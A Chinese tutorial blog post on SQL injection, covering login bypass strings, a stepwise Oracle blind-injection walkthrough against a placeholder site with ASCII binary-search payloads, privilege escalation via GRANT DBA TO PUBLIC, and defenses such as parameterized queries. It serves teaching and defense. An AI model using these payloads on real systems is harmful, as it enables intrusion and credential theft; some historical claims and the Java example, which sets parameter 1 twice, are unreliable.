一文搞懂SQL注入攻击
SQL注入攻击
- 1. 前言
- 2. SQL注入简介
- 3. SQL注入步骤
- 4. 防范SQL注入
1. 前言
随着互联网的发展和普及,网络安全问题越来越突出,网络在为用户提供越来越多服务的同时,也要面对各类越来越复杂的恶意攻击。SQL注入(SQL Injection)攻击是其中最普遍的安全隐患之一,它利用应用程序对用户输入数据的信任,将恶意SQL代码注入到应用程序中,从而执行攻击者的操作。这种攻击可以导致敏感信息泄露、数据损坏或删除及系统瘫痪,给企业和个人带来巨大损失。因此,如何防范SQL注入攻击成为了网络安全领域的一个重要议题。
在国外,SQL注入最早出现在1999年;在我国大约出现在2002年。2015年,约翰·卡特尔(John McAfee)的网站遭到了SQL注入攻击,导致黑客获取了网站上全部的注册用户信息。2016年,Yahoo公司披露了两起大规模数据泄露事件,其中涉及的一次就是通过SQL注入攻击获得的。2017年,Equifax公司遭到了一次严重的数据泄露事件,泄露了超过1.43亿条用户记录。调查人员发现,攻击者使用了SQL注入攻击。
可见,SQL注入攻击破坏敏感数据的完整性和可用性,给网络用户和企业造成了巨大的生活困扰和经济损失。
2. SQL注入简介
(1)SQL语言
Structured Query Language(简称SQL)是—种结构化查询语言,一种数据库文本语言。SQL用于同关系数据库进行交互,能够执行对数据库的查询、获取数据库的信息、向数据库插入新的纪录、删除及更新数据库中的记录。
SQL有很多种类,但大多都基于ANSI标准SQL-92。SQL执行的单位是一个“query”,该“query”可以是一系列语句集合,返回一个结果集。SQL语句可以修改数据库结构(使用数据定义语言DDL)和操作数据库内容(使用数据操作语言DML)。SQL语言本身造成了SQL注入漏洞,给SQL注入攻击带来了可能性。
(2)SQL注入
SQL注入攻击是一种利用应用程序漏洞的攻击方式。攻击者通过向应用程序发送构造的恶意SQL语句,欺骗应用程序执行这些SQL语句,如果Web应用没有适当的验证用户输入的信息,攻击者就有可能改变后台执行的SQL语句的结构,获取相应结果。攻击者可以利用SQL注入漏洞获取数据库中的敏感信息,修改或删除数据库中的数据,或者完全控制Web服务器。
比如基于表单登录功能的应用程序,通过执行一个简单的SQL查询来确认每次登录,以下是这个查询的一个典型实例:
SELECT * FROM users WHERE username=’alice’ and password=’secret’
这个查询要求数据库检查用户表中的每一行,提取username
值为alice并且password
值为secret的记录。如果返回一条用户记录,该用户即可成功登录。
攻击者可注入用户名或密码字段来修改程序执行的查询,一般是输入双连字符(--)
注释掉其余部分或类似’ or ‘1’ =‘1
用引号包含的字符串数据来“平衡引号”,来破坏查询的逻辑。比如攻击者可以通过提交用户名为alice’--
或alice’ or ‘1’=‘1
,密码为任意,应用程序将执行以下查询:
SELECT * FROM users WHERE username=’alice’--‘’ and password=’any’
或
SELECT * FROM users WHERE username=’ alice’ or ‘1’=‘1’ and password=’any’
这两条查询均等同于
SELECT * FROM users WHERE username=’alice’
从而避开了密码检查,成功登录。
因此SQL注入漏洞本质上是针对程序员编程中的漏洞,利用SQL的语法在应用程序与数据库交互的SQL语句中插入精心编制的额外的SQL语句,从而对数据库进行非法查询和修改。由于程序运行SQL语句时的权限与当前该组建(例如,数据库服务器、Web应用服务器)的权限相同,而这些组件一般的运行权限都很高,而且经常是以管理员的权限运行,所以攻击者可能获得数据库的完全控制,并执行系统命令。
3. SQL注入步骤
SQL注入攻击有多种类型,包括基于错误的注入、联合查询注入、堆叠查询注入等。其中,基于错误的注入是最常见的类型。攻击者通过发送包含恶意SQL语句的输入数据来触发应用程序中的错误,从而获取有关数据库结构和内容的信息。
(1)发现漏洞
可以用经典的1=1,1=2测试法测试SQL注入是否存在。
以http://www.test.com/profile.do?id=113为例,使用以下测试方案:
http://www.test.com/profile.do?id=113’
http://www.test.com/profile.do?id=113 and 1=1
- http://www.test.com/profile.do?id=113 and 1=2
(2)信息收集
确认系统表是否存在,主要利用Oracle数据库中以下系统表:
- all_tables:存放当前ID和其他用户的所有表
- user_tables:存放当前用户所有表
- user_tab_columns:存放当前用户表的所有列
测试以下URL:
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from all_tables) and '1'='1
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tables)and '1'='1
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tab_ columns) and '1'='1
如果以上页面都能正确返回,说明存在猜测的系统表。
(3)攻击Web系统(猜解用户名和密码)
首先查找当前用户是否有敏感列名:
'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1
正常返回说明存在类似PASS的字段,猜解该字段对应的表名。先确定表名的长度(不断改变length(table_name)后的数值):
'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_ name like'%25PASS%25') and '1'='1
利用ASCII二分法猜解表名(不断改变substr函数的参数及比较值):
'and (ascii(substr((select table_name from user_tab_columns where column_name like '%PASS%' And Rownum<=1),1,1))>64) and '1'='1
猜字段同样先确定长度,然后利用ASCII二分法猜解字段名:
'and 0<>(select count(*) from user_tables where table_name=’T_SYSUSER’and length (column_ name) >8 and column_name like '%PASS%') and '1'='1
'and (ascii(substr((select column_name from user_tab_columns where table_name =’T_SYSUSER’ and column_name like '%25PASS%25'),1,1))>64) and '1'='1
得到用户表的USERNAME
和PASSWD
两列的名称后,依然是利用ASCII码猜解法来一步一步确定USERNAME
和PASSWD
的值,不再详述。
(4)获取管理员权限
要想获取对系统的完全控制,还要有系统的管理员权限。Oracle包含许多可在数据库管理员权限下运行的内置存储过程,并发现在这些存储过程中存在SQL注入漏洞。2006年7月补丁发布之前,存在于默认包SYS.DBMS_ EXPORT_EXTERSION.GET_DOMAIN_INDEX_TABLES
中的缺陷就是一个典型的示例。攻击者可以利用这个缺陷,在易受攻击的字段中注入GRANT DBA TO PUBLIC查询(需要换成char形式)来提升权限。
这种类型的攻击可通过利用Web程序中的SQL注入漏洞,在易受攻击的参数中输入函数来实现。许多其他类型的缺陷也影响到Oracle的内置组件。一个示例是CTXSYS.DRILOAD.VALIDATE_STMT
函数。这个函数的目的是检查一个指定的字符串中是否包含一个有效的SQL语句。早期Oracle版本中,在确定被提交的语句的过程中,这个函数实际执行了该语句。这意味着任何用户只需向这个函数提交一个语句,就能够作为数据库管理员执行该语句。例如:
exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC’)
除这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各种敏感操作,建立网络连接或访问文件系统。比如,可利用UTL_HTTP
包里面的 request
函数构造注射,来建立用户,并赋予DBA权限。
4. 防范SQL注入
(1)使用参数化查询或存储过程
参数化查询分两个步骤建立一个包含用户输入的SQL语句:
- 应用程序制定查询结构,为用户输入的每个数据预留占位符;
- 应用程序制定每个占位符的内容。
在第二步中指定的专门设计的数据无法破坏在第一步中指定的查询结构。由于查询结构已经确定,且相关API 对任何类型的占位符数据进行安全处理,因此它总被解释为数据,而非语句结构的一部分。
Java提供以下API,允许应用程序创建一个预先编译的SQL语句,并以可靠且类型安全的方式指定它的参数占位符的值:
java.sql.Connection.prepareStatementjava.sql.PrepareStatement.*
使用如下:
String username = request.getParameter("j_username");
String passwd = request.getParameter("j_password");
String query = "select * from t_sysuser where username=? and passwd=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(1, passwd);
ResultSet rs=stmt.executeQuery();
如果用户提交的用户名为alice’ or 1=1--
,密码为any
,生成的查询等同于:
select * from t_sysuser where username= ‘alice’ ‘or 1=1--’ and passwd=’any’
由此可见使用参数化查询可以有效防止SQL注入,应在每一个数据库查询中使用参数化查询。如果仅注意用户直接提交的输入,二阶SQL注入攻击就很容易被忽略因为已经被处理的数据被认为是可信的。另外参数占位符不能用于指定查询中表和列的名称,如果应用程序需要根据用户提交的数据在SQL查询中指定这些数据行,需要使用一份由已知可靠的值组成的“白名单”(即数据库中表和列的名称),并拒绝任何与这份名单上数据不匹配的输入项。或者对用户输入实施严格的确认机制。
使用存储过程的原理与参数化查询类似,传入的参数在最后被执行的SQL语句中会被数据库服务器软件进行处理,使得输入的字符串会被当作一个单纯的文本参数参与到SQL查询中。不论是攻击者输入什么参数都不会改变设计者编写的SQL语句的语义,也就防止了SQL注入。另外由于存储过程是预编译的,对复杂的SQL语句,效率有很大程度上的提升,还可以进一步减少查询时客户端发送到服务端的数据包。
(2)用户输入检测
对输入进行检测一般是在客户端和服务器端利用正则表达式来匹配SQL的特殊字符及其等值的十六进制形式,包括单引号(’)、双重破折号(–)、SELECT、UNION等查询关键字,然后对其进行替换或者过滤。但是在所有的接受输入的程序部分都严格的执行检测却很难,而且会产生误报。
(3)SQL语法分析
SQL注入根源在于对于用户提交的请求没有足够的验证机制,正常的用户输入是具有逻辑整体含义的简单结构,而实施 SQL 注入的字符串一定是包含 SQL语法片段的复合结构。 SQL 注入攻击本质上是希望后台数据库的 SQL 解释程序按照不同的方式解释组装好的 SQL 语句,如果用户输入的字符串不包含 SQL 语法片段,显然无法达到这个目的。
静态代码分析中能从语法、语义上理解程序行为,直接分析被测程序特征,寻找可能导致错误的异常。因此可以在服务器端采用一种类似于静态代码分析的SQL 语法预分析策略来防止SQL注入。首先将 SQL 注入分类,并对其进行词法分析和语法分析,抽象出各类注入的语法结构,生成语法分析树;能够利用该语法分析树通过机器学习的方法来得到预想的SQL注入的集合,并从该集合中生成新的语法分析树;然后将用户提交的输入预先组装成完整的 SQL 语句,对该语句进行语法分析,如果发现具有 SQL 注入特征的语法结构,则判定为 SQL 注入攻击。判定的唯一依据是抽象的语法结串,而非具体的特征字符串,避免了传统的特征字符串匹配策略固有的高识别率和低误判率之间的矛盾。
由于SQL注入利用的是正常的服务端口,在各类Web应用中已不能通过使用防火墙,SSL等网络层保护技术来阻止应用层攻击,也就是说安全边界扩展到了系统源代码。因此,必须通过防范软件代码中存在的安全漏洞,从而保障系统的安全。
(4)其他
通过在程序中对口令等敏感信息加密,(一般采用MD5函数),另外在原来的加密的基础上可以增加一些非常规的方式,即在MD5加密的基础上附带一些值 如密文=MD5 (MD5 (明文)+系统时间);编码时注意屏蔽网页上显示的异常与出错信息,并对源代码进行安全审查及软件安全测试。
安全配置服务器,包括目录最小化权限设置:给静态网页目录和动态网页目录分别设置不同权限,尽量不给写目录权限;修改或者去掉 Web 服务器上默认的一些危险命令,例如ftp、cmd等 需要时再复制到相应目录;正确配置iptables及Oracle的sqlnet.ora文件,通过IP地址限制对于数据库访问。
相关文章:

一文搞懂SQL注入攻击
SQL注入攻击 1. 前言2. SQL注入简介3. SQL注入步骤4. 防范SQL注入 1. 前言 随着互联网的发展和普及,网络安全问题越来越突出,网络在为用户提供越来越多服务的同时,也要面对各类越来越复杂的恶意攻击。SQL注入(SQL Injection&…...

CCTV-TIME特别关注:首届医药港国际健康美食文化嘉年华
“食在广州 味在方舟”首届医药港国际健康美食文化嘉年华4月28日在健康方舟盛大开幕! 【央媒时代TOP中国时代周刊中国品牌万里行CCTV-TIME特别关注】健康美食、滋补靓汤、异国风情、非遗文化、治愈萌宠、灯光夜市、亲子玩乐、浪漫许愿树……五一长假,广州的这场精彩嘉年华活动…...

FE_TA不知道的CSS 换行系列【1】white-space
在W3C官方描述中,white-space主要有以下两个作用: 是否进行空格合并,以及控制空格合并的方式;是否在soft wrap opportunities(文本中可进行换行的断点位置)处进行文本换行。 从字面意思来看white-space即…...

matlab中计算标准差std函数
标准差 标准差(Standard Deviation)是离均差平方的算术平均数(即:方差)的算术平方根。 标准差是方差的算术平方根。标准差能反映一个数据集的离散程度。平均数相同的两组数据,标准差未必相同。 计算公式&…...

【操作系统】原语操作详解
基本概念 "原语"一词源于英文 “primitive” 或 “instruction”,意为 “原始的” 或 “基本的指令”。在计算机科学中,原语是一种基本的操作,它是不可分割的,要么全部执行成功,要么全部执行失败࿰…...

mongDB的相关查询插入操作
db.getCollection(“ProductBuriedPointPo”).find();–查询 db.getCollection(“ProductBuriedPointPo”).remove({“_id”: ObjectId(“61e8f4c3bdc4381042acd296”)})–删除 db.getCollection(“ProductBuriedPointPo”).insert( { _id: ObjectId(“61e8f4c3bdc4381042acd2…...

【C++初阶】C++入门(二):引用内联函数auto关键字范围for循环(C++11)指针空值nullptr
📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:C初阶 🎯长路漫漫浩浩,万事皆有期待 上一篇博客:【C初阶】…...

地下污水厂智能照明控制应用
摘要:结合某地下污水厂项目,从结构、系统组成、系统功能、控制要求、场景模式等方面介绍了地下污水厂智能照明控制系统,探索了一套适用于地下污水厂的智能照明控制策略,以确保地下污水厂正常运行的照明需求。 关键词:智能照明控制系统;地下污…...

IS220UCSAH1A利用电子和空穴两种载流子导电的,所以叫做双极型电路
IS220UCSAH1A利用电子和空穴两种载流子导电的,所以叫做双极型电路 美国的通用电气公司(General Electric Company,以下简称 GE)想要称霸整个工业互联网,但却失败了。为什么呢? 多年来,GE 一直在…...

干货|英国专利申请
英国是世界上公认的一个实施现代专利制度的国家。英国1624年颁布的《垄断法案》被认为是世界上一部具有现代意义的专利法,并成为现代专利保护制度系的起点。英国现行的专利法于1977年颁布,并于1978年生效。英国的专利制度在保护发明创造,促进…...

springboot文件上传
1.新建文件上传页面 在static目录中新建upload-test.html,上传页面代码如下所示: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>springboot文件上传测试</title> <…...

天龙八部手游服务端架设搭建教程
天龙八部手游服务端架设搭建教程 大家好,我是艾西。最近更新游戏搭建教程比较少也被不少小伙伴催更,今天我和大家聊聊天龙八部手游服务端架设搭建。 游戏讲述元佑元年,大宋遭受辽国入侵的故事,玩家可扮演峨眉、丐帮、天山、逍遥、…...

Windows 服务监控工具
在任何企业中,Windows 服务都是面向业务的应用程序的核心组件。这些 Windows 服务的有效运行对于防止网络和应用程序停机至关重要。这使得 Windows 服务监视成为任何网络管理策略的关键部分。 Windows 服务监视使管理员能够确保关键 Windows 服务的可用性ÿ…...

零基础抽象轻松MYSQL
不断学习,不断进步,才能不被替代 只有不被替代才是价值所在 ————2023年4月20日 目录 数据类型 数值型 数据类型 第一类:数值型 第二类:字符型 第三类:JSON第四类:时间日期型 数据类型中共分成了四大类…...

区块链赛项样题解析
文章目录 前言一、区块链产品方案设计及系统运维(预计2小时)1. 业务架构(Visio),需求分析、设计(doc)2. 区块链系统部署、测试搭建:(根据题目要求选择)测试:(根据题目要求选择&#…...

基于Java+SpringBoot+vue+element疫情药品采购出入库系统设计实现
基于JavaSpringBootvueelement疫情药品采购出入库系统设计实现 博主介绍:5年java开发经验,专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联…...

【C++】5. 引用
文章目录 前言一、引用1.1 理解引用1.2 引用的特性1.3 引用的权限1.4 引用的使用场景1.4.1 做参数1.4.2 做返回值 1.5 引用的本质 前言 C语言中什么最难学?那当然就是指针了。不但使用起来麻烦,时不时还会产生一些意料之外的错误。C提供了一种方式&…...

初识C++(二)
在初识c(一)当中我们已经向大家介绍了四个c和C语言不同的使用方法。接下来我们再来向大家介绍另外的一些新的c语言的使用方法。 🌵引用 简单一点来说引用就是给已存在的变量起一个别名。这个别名通常的作用和C语言当中的指针类似。我们可以通…...

编译时报Clang SA is not enabled问题解决
报此问题应该是swap不足导致的,原因是用的虚拟机,改为16G内存问题排除 具体解决如下: 1.free -h 查看当前分区大小和使用情况 2.扩展分区大小 2.1首先删除系统默认分区 sudo swapoff /swapfile sudo rm /swapfile 2.2新建swap分区…...

【论文阅读】You Are What You Do:通过数据来源分析寻找隐蔽的恶意软件
You Are What You Do: Hunting Stealthy Malware via Data Provenance Analysis NDSS-2020 伊利诺伊大学香槟分校、德克萨斯大学达拉斯分校 Wang Q, Hassan W U, Li D, et al. You Are What You Do: Hunting Stealthy Malware via Data Provenance Analysis[C]//NDSS. 2020. 目…...

c#期末复习题重点难点题
2. (单选题, 9分)在.NET中,.NET Framework由( )组成。 A. FCL和CLR -开发库和运行环境B. ADO.NETASP.NET -数据操作和web框架C. CLS和CTS -语法规范和类型规范 即所有语言和语法规范 和 各语言间的类型互操作性规范D. Winform和ASP.NET…...

Sass @mixin 与 @include
Sass mixin 与 include mixin 指令允许我们定义一个可以在整个样式表中重复使用的样式。 include 指令可以将混入(mixin)引入到文档中。 定义一个混入 混入(mixin)通过 mixin 指令来定义。 mixin name { property: value; property: value; ... } 以…...

ROS——Teb算法的优化
一、简介 “TEB”全称Time Elastic Band(时间弹性带)Local Planner,该方法针对全局路径规划器生成的初始轨迹进行后续修正(modification),从而优化机器人的运动轨迹,属于局部路径规划。 关于eletic band(橡…...

java+ssm 社区超市网上商城果蔬(水果蔬菜)管理系统
在Internet高速发展的今天,我们生活的各个领域都涉及到计算机的应用,其中包括超市果蔬管理系统的网络应用,在外国超市果蔬管理系统已经是很普遍的方式,不过国内的超市果蔬管理系统可能还处于起步阶段。超市果蔬管理系统具有果蔬管…...

igh主站搭建过程(e1000e 网卡/ generic网卡)
1、下载igh源码 garyjxes:~$ git clone https://gitlab.com/etherlab.org/ethercat.git 2、配置(可参考官方文档) garyjxes:~/Xenomai/xenomai-v3.2.1$ sudo cp …/…/ethercat/ . -r garyjxes:~/Xenomai/xenomai-v3.2.1/ethercat$ sudo ./bootstrap to…...

K8S第一讲 Kubernetes之Secret详解
Secret详解 secret用来保存小片敏感数据的k8s资源,例如密码,token,或者秘钥。这类数据当然也可以存放在Pod或者镜像中,但是放在Secret中是为了更方便的控制如何使用数据,并减少暴露的风险。 用户可以创建自己的secre…...

每周一算法:高精度减法
高精度减法 高精度减法是采用模拟算法对上百位甚至更多位的整数进行减法运算,其基本思想是模拟竖式计算,一般分为下面几步: 首先,使用数组存储大整数的每一个位然后,判断被减数和减数的大小关系: 如果被减数大于等于减数,结果为非负数,直接计算差否则,结果为负数,先…...

Session使用和原理分析图与实现原理-- 代码演示说明 Session 的生命周期和读取的机制代码分析
目录 Web 开发会话技术 -Session —session 技术 session 基本原理 Session 可以做什么 如何理解 Session Session 的基本使用 session 底层实现机制 原理分析图 代码演示 CreateSession.java 测试 Session 创的机制, 注意抓包分析编辑 ReadSession.j…...

在win10系统中安装anaconda
1、 Anaconda的下载 你可以根据你的操作系统是32位还是64位选择对应的版本到官网下载,但是官网下载龟速。 建议到清华大学镜像站下载 :Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsinghua Open Source MirrorIndex of /anaconda/archiv…...

【菜鸡读论文】Cross-domain Named Entity Recognition via Graph Matching
【菜鸡读论文】Cross-domain Named Entity Recognition via Graph Matching 最近到了研一下学期,很多身边的同学也开始有了成果,但本菜鸡一点成果都没有【大哭】所以也没什么好写的。虽然菜鸡口头上不说,但内心也感受到非常之焦虑。最近读论…...